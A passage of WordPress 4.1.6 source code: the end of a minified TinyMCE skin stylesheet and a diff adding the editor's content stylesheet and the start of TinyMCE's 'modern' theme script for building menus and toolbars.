.mce-path{direction:rtl}.mce-fieldset{border:0 solid #9E9E9E;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.mce-fieldset>.mce-container-body{margin-top:-15px}.mce-fieldset-title{margin-left:5px;padding:0 5px 0 5px}.mce-fit-layout{display:inline-block;;}.mce-fit-layout-item{position:absolute}.mce-flow-layout-item{display:inline-block;;}.mce-flow-layout-item{margin:2px 0 2px 2px}.mce-flow-layout-item.mce-last{margin-right:2px}.mce-flow-layout{white-space:normal}.mce-tinymce-inline .mce-flow-layout{white-space:nowrap}.mce-rtl .mce-flow-layout{text-align:right;direction:rtl}.mce-rtl .mce-flow-layout-item{margin:2px 2px 2px 0}.mce-rtl .mce-flow-layout-item.mce-last{margin-left:2px}.mce-iframe{border:0 solid #9e9e9e;width:100%;height:100%}.mce-label{display:inline-block;;;text-shadow:0 1px 1px rgba(255,255,255,.75);overflow:hidden}.mce-label.mce-autoscroll{overflow:auto}.mce-label.mce-disabled{color:#aaa}.mce-label.mce-multiline{white-space:pre-wrap}.mce-label.mce-error{color:#a00}.mce-rtl .mce-label{text-align:right;direction:rtl}.mce-menubar .mce-menubtn{border-color:transparent;background:0 0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:none}.mce-menubar{border:1px solid #c4c4c4}.mce-menubar .mce-menubtn button span{color:#333}.mce-menubar .mce-caret{border-top-color:#333}.mce-menubar .mce-menubtn:hover,.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus{border-color:transparent;background:#e6e6e6;filter:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-menubtn span{color:#333;margin-right:2px;line-height:20px;}.mce-menubtn.mce-btn-small span{font-size:12px}.mce-menubtn.mce-fixed-width span{display:inline-block;overflow-x:hidden;text-overflow:ellipsis;width:90px}.mce-menubtn.mce-fixed-width.mce-btn-small span{width:70px}.mce-rtl .mce-menubtn button{direction:rtl;text-align:right}.mce-listbox button{text-align:left;padding-right:20px;position:relative}.mce-listbox .mce-caret{position:absolute;margin-top:-2px;right:8px;top:50%}.mce-rtl .mce-listbox .mce-caret{right:auto;left:8px}.mce-rtl .mce-listbox button{padding-right:10px;padding-left:20px}.mce-menu-item{display:block;padding:6px 15px 6px 12px;clear:both;font-weight:400;line-height:20px;color:#333;white-space:nowrap;cursor:pointer;line-height:normal;border-left:4px solid transparent;margin-bottom:1px}.mce-menu-item .mce-ico,.mce-menu-item .mce-text{color:#333}.mce-menu-item.mce-disabled .mce-text,.mce-menu-item.mce-disabled .mce-ico{color:#adadad}.mce-menu-item:hover .mce-text,.mce-menu-item.mce-selected .mce-text,.mce-menu-item:focus .mce-text{color:#fff}.mce-menu-item:hover .mce-ico,.mce-menu-item.mce-selected .mce-ico,.mce-menu-item:focus .mce-ico{color:#fff}.mce-menu-item.mce-disabled:hover{background:#ccc}.mce-menu-shortcut{display:inline-block;color:#adadad}.mce-menu-shortcut{display:inline-block;;;padding:0 15px 0 20px}.mce-menu-item:hover .mce-menu-shortcut,.mce-menu-item.mce-selected .mce-menu-shortcut,.mce-menu-item:focus .mce-menu-shortcut{color:#fff}.mce-menu-item .mce-caret{margin-top:4px;;margin-right:6px;border-top:4px solid transparent;border-bottom:4px solid transparent;border-left:4px solid #333}.mce-menu-item.mce-selected .mce-caret,.mce-menu-item:focus .mce-caret,.mce-menu-item:hover .mce-caret{border-left-color:#fff}.mce-menu-align .mce-menu-shortcut,.mce-menu-align .mce-caret{position:absolute;right:0}.mce-menu-item.mce-active i{visibility:visible}.mce-menu-item-normal.mce-active{background-color:#c8def4}.mce-menu-item-preview.mce-active{border-left:5px solid #aaa}.mce-menu-item-normal.mce-active .mce-text{color:#333}.mce-menu-item-normal.mce-active:hover .mce-text,.mce-menu-item-normal.mce-active:hover .mce-ico{color:#fff}.mce-menu-item-normal.mce-active:focus .mce-text,.mce-menu-item-normal.mce-active:focus .mce-ico{color:#fff}.mce-menu-item:hover,.mce-menu-item.mce-selected,.mce-menu-item:focus{text-decoration:none;color:#fff;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);zoom:1}div.mce-menu .mce-menu-item-sep,.mce-menu-item-sep:hover{border:0;padding:0;height:1px;margin:9px 1px;overflow:hidden;background:#cbcbcb;border-bottom:1px solid #fff;cursor:default;filter:none}.mce-menu.mce-rtl{direction:rtl}.mce-rtl .mce-menu-item{text-align:right;direction:rtl;padding:6px 12px 6px 15px}.mce-menu-align.mce-rtl .mce-menu-shortcut,.mce-menu-align.mce-rtl .mce-caret{right:auto;left:0}.mce-rtl .mce-menu-item .mce-caret{margin-left:6px;margin-right:0;border-right:4px solid #333;border-left:0}.mce-rtl .mce-menu-item.mce-selected .mce-caret,.mce-rtl .mce-menu-item:focus .mce-caret,.mce-rtl .mce-menu-item:hover .mce-caret{border-left-color:transparent;border-right-color:#fff}.mce-menu{position:absolute;left:0;top:0;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background:0 0;z-index:1000;padding:5px 0 5px 0;margin:2px 0 0;min-width:160px;background:#fff;border:1px solid #989898;border:1px solid rgba(0,0,0,.2);z-index:1002;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);max-height:400px;overflow:auto;overflow-x:hidden}.mce-menu i{display:none}.mce-menu-has-icons i{display:inline-block;}.mce-menu-sub-tr-tl{margin:-6px 0 0 -1px}.mce-menu-sub-br-bl{margin:6px 0 0 -1px}.mce-menu-sub-tl-tr{margin:-6px 0 0 1px}.mce-menu-sub-bl-br{margin:6px 0 0 1px}.mce-container-body .mce-resizehandle{position:absolute;right:0;bottom:0;width:16px;height:16px;visibility:visible;cursor:s-resize;margin:0}.mce-container-body .mce-resizehandle-both{cursor:se-resize}i.mce-i-resize{color:#333}.mce-spacer{visibility:hidden}.mce-splitbtn .mce-open{border-left:1px solid transparent;border-right:1px solid transparent}.mce-splitbtn:hover .mce-open{border-left-color:#bdbdbd;border-right-color:#bdbdbd}.mce-splitbtn button{padding-right:4px}.mce-splitbtn .mce-open{padding-left:4px}.mce-splitbtn .mce-open.mce-active{-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.mce-splitbtn.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl .mce-splitbtn{direction:rtl;text-align:right}.mce-rtl .mce-splitbtn button{padding-right:10px;padding-left:10px}.mce-rtl .mce-splitbtn .mce-open{padding-left:4px;padding-right:4px}.mce-stack-layout-item{display:block}.mce-tabs{display:block;border-bottom:1px solid #c5c5c5}.mce-tab{display:inline-block;;;border:1px solid #c5c5c5;border-width:0 1px 0 0;background:#e3e3e3;padding:8px;text-shadow:0 1px 1px rgba(255,255,255,.75);height:13px;cursor:pointer}.mce-tab:hover{background:#fdfdfd}.mce-tab.mce-active{background:#fdfdfd;border-bottom-color:transparent;margin-bottom:-1px;height:14px}.mce-rtl .mce-tabs{text-align:right;direction:rtl}.mce-rtl .mce-tab{border-width:0 0 0 1px}.mce-textbox{background:#fff;border:1px solid #c5c5c5;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);display:inline-block;-webkit-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s;height:28px;resize:none;padding:0 4px 0 4px;white-space:pre-wrap;;color:#333}.mce-textbox:focus,.mce-textbox.mce-focus{border-color:rgba(82,168,236,.8);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.65);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.65);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.65)}.mce-placeholder .mce-textbox{color:#aaa}.mce-textbox.mce-multiline{padding:4px}.mce-textbox.mce-disabled{color:#adadad}.mce-rtl .mce-textbox{text-align:right;direction:rtl}.mce-throbber{position:absolute;top:0;left:0;width:100%;height:100%;opacity:.6;filter:alpha(opacity=60);zoom:1;background:#fff url(img/loader.gif) no-repeat center center}.mce-throbber-inline{position:static;height:50px}@font-face{font-family:tinymce;src:url(fonts/tinymce.eot);src:url(fonts/tinymce.eot?#iefix) format('embedded-opentype'),url(fonts/tinymce.woff) format('woff'),url(fonts/tinymce.ttf) format('truetype'),url(fonts/tinymce.svg#tinymce) format('svg');font-weight:400;font-style:normal}@font-face{font-family:tinymce-small;src:url(fonts/tinymce-small.eot);src:url(fonts/tinymce-small.eot?#iefix) format('embedded-opentype'),url(fonts/tinymce-small.woff) format('woff'),url(fonts/tinymce-small.ttf) format('truetype'),url(fonts/tinymce-small.svg#tinymce) format('svg');font-weight:400;font-style:normal}.mce-ico{font-family:tinymce,Arial;font-style:normal;font-weight:400;font-variant:normal;font-size:16px;line-height:16px;speak:none;vertical-align:text-top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;background:transparent center center;background-size:cover;width:16px;height:16px;color:#333}.mce-btn-small .mce-ico{font-family:tinymce-small,Arial}.mce-i-save:before{content:"\e000"}.mce-i-newdocument:before{content:"\e001"}.mce-i-fullpage:before{content:"\e002"}.mce-i-alignleft:before{content:"\e003"}.mce-i-aligncenter:before{content:"\e004"}.mce-i-alignright:before{content:"\e005"}.mce-i-alignjustify:before{content:"\e006"}.mce-i-cut:before{content:"\e007"}.mce-i-paste:before{content:"\e008"}.mce-i-searchreplace:before{content:"\e009"}.mce-i-bullist:before{content:"\e00a"}.mce-i-numlist:before{content:"\e00b"}.mce-i-indent:before{content:"\e00c"}.mce-i-outdent:before{content:"\e00d"}.mce-i-blockquote:before{content:"\e00e"}.mce-i-undo:before{content:"\e00f"}.mce-i-redo:before{content:"\e010"}.mce-i-link:before{content:"\e011"}.mce-i-unlink:before{content:"\e012"}.mce-i-anchor:before{content:"\e013"}.mce-i-image:before{content:"\e014"}.mce-i-media:before{content:"\e015"}.mce-i-help:before{content:"\e016"}.mce-i-code:before{content:"\e017"}.mce-i-insertdatetime:before{content:"\e018"}.mce-i-preview:before{content:"\e019"}.mce-i-forecolor:before{content:"\e01a"}.mce-i-backcolor:before{content:"\e01a"}.mce-i-table:before{content:"\e01b"}.mce-i-hr:before{content:"\e01c"}.mce-i-removeformat:before{content:"\e01d"}.mce-i-subscript:before{content:"\e01e"}.mce-i-superscript:before{content:"\e01f"}.mce-i-charmap:before{content:"\e020"}.mce-i-emoticons:before{content:"\e021"}.mce-i-print:before{content:"\e022"}.mce-i-fullscreen:before{content:"\e023"}.mce-i-spellchecker:before{content:"\e024"}.mce-i-nonbreaking:before{content:"\e025"}.mce-i-template:before{content:"\e026"}.mce-i-pagebreak:before{content:"\e027"}.mce-i-restoredraft:before{content:"\e028"}.mce-i-untitled:before{content:"\e029"}.mce-i-bold:before{content:"\e02a"}.mce-i-italic:before{content:"\e02b"}.mce-i-underline:before{content:"\e02c"}.mce-i-strikethrough:before{content:"\e02d"}.mce-i-visualchars:before{content:"\e02e"}.mce-i-visualblocks:before{content:"\e02e"}.mce-i-ltr:before{content:"\e02f"}.mce-i-rtl:before{content:"\e030"}.mce-i-copy:before{content:"\e031"}.mce-i-resize:before{content:"\e032"}.mce-i-browse:before{content:"\e034"}.mce-i-pastetext:before{content:"\e035"}.mce-i-checkbox:before,.mce-i-selected:before{content:"\e033"}.mce-i-selected{visibility:hidden}i.mce-i-backcolor{text-shadow:none;background:#bbb}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/wordpress/wp-content.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/wordpress/wp-content.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/wordpress/wp-content.css	(revision 33402)
@@ -0,0 +1,640 @@
+/* Additional default styles for the editor */
+
+html {
+	cursor: text;
+}
+
+html.ios {
+	height: 100%;
+}
+
+.ios body#tinymce {
+	height: 200%;
+	max-width: none;
+}
+
+body {
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-size: 16px;
+	line-height: 1.5;
+	color: #333;
+	margin: 9px 10px;
+	max-width: 100%;
+	-webkit-font-smoothing: antialiased !important;
+}
+
+body.rtl {
+	font-family: Tahoma, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+body.locale-he-il {
+	font-family: Arial, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+body.wp-autoresize {
+	overflow: visible !important;
+	/* The padding ensures margins of the children are contained in the body. */
+	padding-top: 1px !important;
+	padding-bottom: 1px !important;
+	padding-left: 0 !important;
+	padding-right: 0 !important;
+}
+
+/* When font-weight is different than the default browser style,
+Chrome and Safari replace <strong> and <b> with spans with inline styles on pasting?! */
+body.webkit strong,
+body.webkit b {
+	font-weight: bold !important;
+}
+
+pre {
+	font-family: Consolas, Monaco, monospace;
+}
+
+td,
+th {
+	font-family: inherit;
+	font-size: inherit;
+}
+
+/* DFW mode */
+html.wp-fullscreen,
+html.wp-fullscreen body#tinymce {
+	width: auto;
+	max-width: none;
+	min-height: 0;
+	overflow: hidden;
+	color: #333;
+	background: transparent;
+}
+
+.aligncenter,
+dl.aligncenter,
+.html5-captions .wp-caption.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px 0;
+}
+
+.html5-captions .wp-caption {
+	border: none;
+	background-color: transparent;
+	margin: 0;
+	padding: 0;
+}
+
+.mceIEcenter {
+	text-align: center;
+}
+
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+
+div.mceTemp {
+	-ms-user-select: element;
+}
+
+dl.wp-caption,
+dl.wp-caption * {
+	-webkit-user-drag: none;
+}
+
+.wp-caption-dd {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
+
+/* Remove blue highlighting of selected images in WebKit */
+img::selection {
+	background-color: transparent;
+}
+
+/* Styles for the WordPress plugins */
+.mce-content-body img[data-mce-placeholder] {
+	border-radius: 0;
+	padding: 0;
+}
+
+.mce-content-body img[data-wp-more] {
+	border: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	width: 96%;
+	height: 16px;
+	display: block;
+	margin: 15px auto 0;
+	outline: 0;
+	cursor: default;
+}
+
+.mce-content-body img[data-wp-more][data-mce-selected] {
+	outline: 1px dotted #888;
+}
+
+.mce-content-body img[data-wp-more="more"] {
+	background: transparent url( images/more.png ) repeat-y scroll center center;
+}
+
+.mce-content-body img[data-wp-more="nextpage"] {
+    background: transparent url( images/pagebreak.png ) repeat-y scroll center center;
+}
+
+/* Gallery, audio, video placeholders */
+.mce-content-body img.wp-media {
+	border: 1px solid #aaa;
+	background-color: #f2f2f2;
+	background-repeat: no-repeat;
+	background-position: center center;
+	width: 99%;
+	height: 250px;
+	outline: 0;
+	cursor: pointer;
+}
+
+.mce-content-body img.wp-media:hover {
+	background-color: #ededed;
+	border-color: #777;
+}
+
+.mce-content-body img.wp-media.wp-media-selected {
+	background-color: #d8d8d8;
+	border-color: #777;
+}
+
+.mce-content-body img.wp-media.wp-gallery {
+	background-image: url(images/gallery.png);
+}
+
+/* Image resize handles */
+.mce-content-body div.mce-resizehandle {
+	border-color: #777;
+	width: 7px;
+	height: 7px;
+}
+
+.mce-content-body img[data-mce-selected] {
+	outline: 1px solid #777;
+}
+
+.mce-content-body img[data-mce-resize="false"] {
+	outline: 0;
+}
+
+audio,
+video,
+embed {
+	display: -moz-inline-stack;
+	display: inline-block;
+}
+
+audio {
+	visibility: hidden;
+}
+
+/**
+ * WP Views
+ */
+
+.wpview-wrap {
+	width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */
+	position: relative;
+	clear: both;
+}
+
+/* delegate the handling of the selection to the wpview tinymce plugin */
+.wpview-wrap,
+.wpview-wrap * {
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+/* hide the shortcode content, but allow the content to still be selected */
+.wpview-wrap .wpview-clipboard,
+.wpview-wrap > p {
+	position: absolute;
+	top: 0;
+	left: 0;
+	z-index: -1;
+	clip: rect(1px 1px 1px 1px); /* IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+	overflow: hidden;
+	outline: 0;
+	padding: 0;
+	border: 0;
+	width: 1px;
+	height: 1px;
+}
+
+/* An ugly box will appear when this is focussed in IE, so we'll move it outside the window. */
+.wpview-wrap.wpview-selection-before > p,
+.wpview-wrap.wpview-selection-after > p {
+	left: -10000px;
+}
+
+.wpview-wrap .wpview-clipboard,
+.wpview-wrap .wpview-clipboard *,
+.wpview-wrap > p {
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+.has-focus .wpview-wrap.wpview-selection-before:before,
+.has-focus .wpview-wrap.wpview-selection-after:before {
+	content: '';
+	margin: 0;
+	padding: 0;
+	position: absolute;
+	top: -2px;
+	left: -3px;
+	bottom: -2px;
+	width: 1px;
+	background-color: black;
+	background-color: currentcolor;
+	opacity: 1;
+}
+
+.has-focus .wpview-wrap.wpview-selection-after:before {
+	left: auto;
+	right: -3px;
+}
+
+.has-focus .wpview-wrap.wpview-cursor-hide:before {
+	opacity: 0;
+}
+
+/**
+ * Media previews
+ */
+.wpview-wrap {
+    position: relative;
+    margin-bottom: 16px;
+	border: 1px solid transparent;
+}
+
+.wpview-wrap[data-mce-selected] {
+	background-color: rgba(0,0,0,0.1);
+	border-color: rgba(0,0,0,0.3);
+}
+
+.ie8 .wpview-wrap[data-mce-selected],
+.ie7 .wpview-wrap[data-mce-selected] {
+	background-color: #e5e5e5;
+	border-color: #777;
+}
+
+.wpview-overlay {
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+}
+
+.wpview-wrap[data-mce-selected] .wpview-overlay {
+	display: none;
+}
+
+.wpview-wrap .toolbar {
+	position: absolute;
+	top: -43px;
+	left: 45%;
+	left: calc(50% - 32px);
+	display: none;
+	z-index: 100;
+	background-color: #f5f5f5;
+	border: 1px solid #aaa;
+	padding: 1px;
+	cursor: default;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-box-shadow: 0 1px 4px rgba( 0, 0, 0, 0.2 );
+	box-shadow: 0 1px 4px rgba( 0, 0, 0, 0.2 );
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin-bottom: 8px;
+}
+
+.wpview-wrap[data-mce-selected] .toolbar {
+	display: block;
+}
+
+.wpview-wrap .toolbar:before,
+.wpview-wrap .toolbar:after {
+	position: absolute;
+	left: 50%;
+	display: block;
+	width: 0;
+	height: 0;
+	border-style: solid;
+	border-color: transparent;
+	border-width: 9px;
+	margin-left: -9px;
+	content: '';
+}
+
+.wpview-wrap .toolbar:after {
+	border-width: 8px;
+	margin-left: -8px;
+}
+
+.wpview-wrap .toolbar.mce-arrow-down:before {
+	bottom: -18px;
+	border-top-color: #aaa;
+}
+
+.wpview-wrap .toolbar.mce-arrow-down:after {
+	bottom: -16px;
+	border-top-color: #f5f5f5;
+}
+
+.wpview-wrap .toolbar.mce-arrow-up:before {
+	top: -18px;
+	border-bottom-color: #aaa;
+}
+
+.wpview-wrap .toolbar.mce-arrow-up:after {
+	top: -16px;
+	border-bottom-color: #f5f5f5;
+}
+
+.wpview-wrap .toolbar div {
+	margin: 2px;
+	padding: 2px 3px;
+	width: 20px;
+	height: 20px;
+	color: #777;
+	cursor: pointer;
+	font-size: 20px;
+	border: 1px solid transparent;
+	border-radius: 2px;
+}
+
+.wpview-wrap .toolbar div:hover {
+	background-color: #fafafa;
+	border-color: #999;
+	color: #222;
+	-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	outline: none;
+}
+
+.wpview-wrap .loading-placeholder {
+	border: 1px dashed #ccc;
+	padding: 10px;
+}
+
+.wpview-wrap[data-mce-selected] .loading-placeholder {
+	border-color: transparent;
+}
+
+/* A little "loading" animation, not showing in IE < 10 */
+.wpview-wrap .wpview-loading {
+	width: 60px;
+	height: 5px;
+	overflow: hidden;
+	background-color: transparent;
+	margin: 10px auto 0;
+}
+
+.wpview-wrap .wpview-loading ins {
+	background-color: #333;
+	margin: 0 0 0 -60px;
+	width: 60px;
+	height: 5px;
+	display: block;
+	-webkit-animation: wpview-loading 1.3s infinite 1s linear;
+	animation: wpview-loading 1.3s infinite 1s linear;
+}
+
+@-webkit-keyframes wpview-loading {
+	0% {
+		margin-left: -60px;
+	}
+	100% {
+		margin-left: 60px;
+	}
+}
+
+@keyframes wpview-loading {
+	0% {
+		margin-left: -60px;
+	}
+	100% {
+		margin-left: 60px;
+	}
+}
+
+.wpview-wrap .wpview-content > iframe {
+	max-width: 100%;
+	background: transparent;
+}
+
+.ie8 .wpview-wrap .toolbar div,
+.ie7 .wpview-wrap .toolbar div {
+	display: inline;
+	padding: 4px;
+}
+
+.ie8 .dashicons-edit,
+.ie7 .dashicons-edit {
+	background-image: url(images/dashicon-edit.png);
+}
+
+.ie8 .dashicons-no,
+.ie7 .dashicons-no {
+	background-image: url(images/dashicon-no.png);
+}
+
+.wpview-error {
+	border: 1px solid #dedede;
+	padding: 1em 0;
+	margin: 0;
+	word-wrap: break-word;
+}
+
+.wpview-wrap[data-mce-selected] .wpview-error {
+	border-color: transparent;
+}
+
+.wpview-error .dashicons,
+.loading-placeholder .dashicons {
+	display: block;
+	margin: 0 auto;
+	width: 32px;
+	height: 32px;
+	font-size: 32px;
+}
+
+.wpview-error p {
+	margin: 0;
+	text-align: center;
+	font-family: 'Open Sans', sans-serif;
+}
+
+.wont-play {
+	padding: 4px 0;
+}
+
+.wont-play p {
+	font-size: 13px;
+	line-height: 1.3;
+	display: block;
+	width: 70%;
+	margin: 0 15%;
+	text-align: center;
+}
+
+.wpview-type-gallery:after {
+    content: '';
+	display: table;
+    clear: both;
+}
+
+.gallery img[data-mce-selected]:focus {
+	outline: none;
+}
+
+.gallery a {
+	cursor: default;
+}
+
+.gallery {
+	margin: auto -6px;
+	padding: 6px 0;
+	line-height: 1;
+	overflow-x: hidden;
+}
+
+.ie7 .gallery,
+.ie8 .gallery {
+	margin: auto;
+}
+
+
+.gallery .gallery-item {
+	float: left;
+	margin: 0;
+	text-align: center;
+	padding: 6px;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ie7 .gallery .gallery-item,
+.ie8 .gallery .gallery-item {
+	padding: 6px 0;
+}
+
+.gallery .gallery-caption,
+.gallery .gallery-icon {
+	margin: 0;
+}
+
+.gallery .gallery-caption {
+	font-size: 13px;
+	margin: 4px 0;
+}
+
+.gallery-columns-1 .gallery-item {
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	width: 33.333%;
+}
+
+.ie8 .gallery-columns-3 .gallery-item,
+.ie7 .gallery-columns-3 .gallery-item {
+	width: 33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	width: 16.665%;
+}
+
+.gallery-columns-7 .gallery-item {
+	width: 14.285%;
+}
+
+.gallery-columns-8 .gallery-item {
+	width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	width: 11.111%;
+}
+
+.gallery img {
+	max-width: 100%;
+	height: auto;
+	border: none;
+	padding: 0;
+}
+
+img.wp-oembed {
+	border: 1px dashed #888;
+	background: #f7f5f2 url(images/embedded.png) no-repeat scroll center center;
+	width: 300px;
+	height: 250px;
+	outline: 0;
+}
+
+/* rtl */
+.rtl .gallery .gallery-item {
+	float: right;
+}
+
+@media print,
+	(-o-min-device-pixel-ratio: 5/4),
+	(-webkit-min-device-pixel-ratio: 1.25),
+	(min-resolution: 120dpi) {
+
+	.mce-content-body img.mce-wp-more {
+		background-image: url( images/more-2x.png );
+		background-size: 1900px 20px;
+	}
+
+	.mce-content-body img.mce-wp-nextpage {
+    	background-image: url( images/pagebreak-2x.png );
+		background-size: 1900px 20px;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/themes/modern/theme.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/themes/modern/theme.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/themes/modern/theme.js	(revision 33402)
@@ -0,0 +1,617 @@
+/**
+ * theme.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.ThemeManager.add('modern', function(editor) {
+	var self = this, settings = editor.settings, Factory = tinymce.ui.Factory, each = tinymce.each, DOM = tinymce.DOM;
+
+	// Default menus
+	var defaultMenus = {
+		file: {title: 'File', items: 'newdocument'},
+		edit: {title: 'Edit', items: 'undo redo | cut copy paste pastetext | selectall'},
+		insert: {title: 'Insert', items: '|'},
+		view: {title: 'View', items: 'visualaid |'},
+		format: {title: 'Format', items: 'bold italic underline strikethrough superscript subscript | formats | removeformat'},
+		table: {title: 'Table'},
+		tools: {title: 'Tools'}
+	};
+
+	var defaultToolbar = "undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | " +
+		"bullist numlist outdent indent | link image";
+
+	/**
+	 * Creates the toolbars from config and returns a toolbar array.
+	 *
+	 * @return {Array} Array with toolbars.
+	 */
+	function createToolbars() {
+		var toolbars = [];
+
+		function addToolbar(items) {
+			var toolbarItems = [], buttonGroup;
+
+			if (!items) {
+				return;
+			}
+
+			each(items.split(/[ ,]/), function(item) {
+				var itemName;
+
+				function bindSelectorChanged() {
+					var selection = editor.selection;
+
+					if (itemName == "bullist") {
+						selection.selectorChanged('ul > li', function(state, args) {
+							var nodeName, i = args.parents.length;
+
+							while (i--) {
+								nodeName = args.parents[i].nodeName;
+								if (nodeName == "OL" || nodeName == "UL") {
+									break;
+								}
+							}
+
+							item.active(state && nodeName == "UL");
+						});
+					}
+
+					if (itemName == "numlist") {
+						selection.selectorChanged('ol > li', function(state, args) {
+							var nodeName, i = args.parents.length;
+
+							while (i--) {
+								nodeName = args.parents[i].nodeName;
+								if (nodeName == "OL" || nodeName == "UL") {
+									break;
+								}
+							}
+
+							item.active(state && nodeName == "OL");
+						});
+					}
+
+					if (item.settings.stateSelector) {
+						selection.selectorChanged(item.settings.stateSelector, function(state) {
+							item.active(state);
+						}, true);
+					}
+
+					if (item.settings.disabledStateSelector) {
+						selection.selectorChanged(item.settings.disabledStateSelector, function(state) {
+							item.disabled(state);
+						});
+					}
+				}
+
+				if (item == "|") {
+					buttonGroup = null;
+				} else {
+					if (Factory.has(item)) {
+						item = {type: item};
+
+						if (settings.toolbar_items_size) {
+							item.size = settings.toolbar_items_size;
+						}
+
+						toolbarItems.push(item);
+						buttonGroup = null;
+					} else {
+						if (!buttonGroup) {
+							buttonGroup = {type: 'buttongroup', items: []};
+							toolbarItems.push(buttonGroup);
+						}
+
+						if (editor.buttons[item]) {
+							// TODO: Move control creation to some UI class
+							itemName = item;
+							item = editor.buttons[itemName];
+
+							if (typeof(item) == "function") {
+								item = item();
+							}
+
+							item.type = item.type || 'button';
+
+							if (settings.toolbar_items_size) {
+								item.size = settings.toolbar_items_size;
+							}
+
+							item = Factory.create(item);
+							buttonGroup.items.push(item);
+
+							if (editor.initialized) {
+								bindSelectorChanged();
+							} else {
+								editor.on('init', bindSelectorChanged);
+							}
+						}
+					}
+				}
+			});
+
+			toolbars.push({type: 'toolbar', layout: 'flow', items: toolbarItems});
+
+			return true;
+		}
+
+		// Convert toolbar array to multiple options
+		if (tinymce.isArray(settings.toolbar)) {
+			// Empty toolbar array is the same as a disabled toolbar
+			if (settings.toolbar.length === 0) {
+				return;
+			}
+
+			tinymce.each(settings.toolbar, function(toolbar, i) {
+				settings["toolbar" + (i + 1)] = toolbar;
+			});
+
+			delete settings.toolbar;
+		}
+
+		// Generate toolbar<n>
+		for (var i = 1; i < 10; i++) {
+			if (!addToolbar(settings["toolbar" + i])) {
+				break;
+			}
+		}
+
+		// Generate toolbar or default toolbar unless it's disabled
+		if (!toolbars.length && settings.toolbar !== false) {
+			addToolbar(settings.toolbar || defaultToolbar);
+		}
+
+		if (toolbars.length) {
+			return {
+				type: 'panel',
+				layout: 'stack',
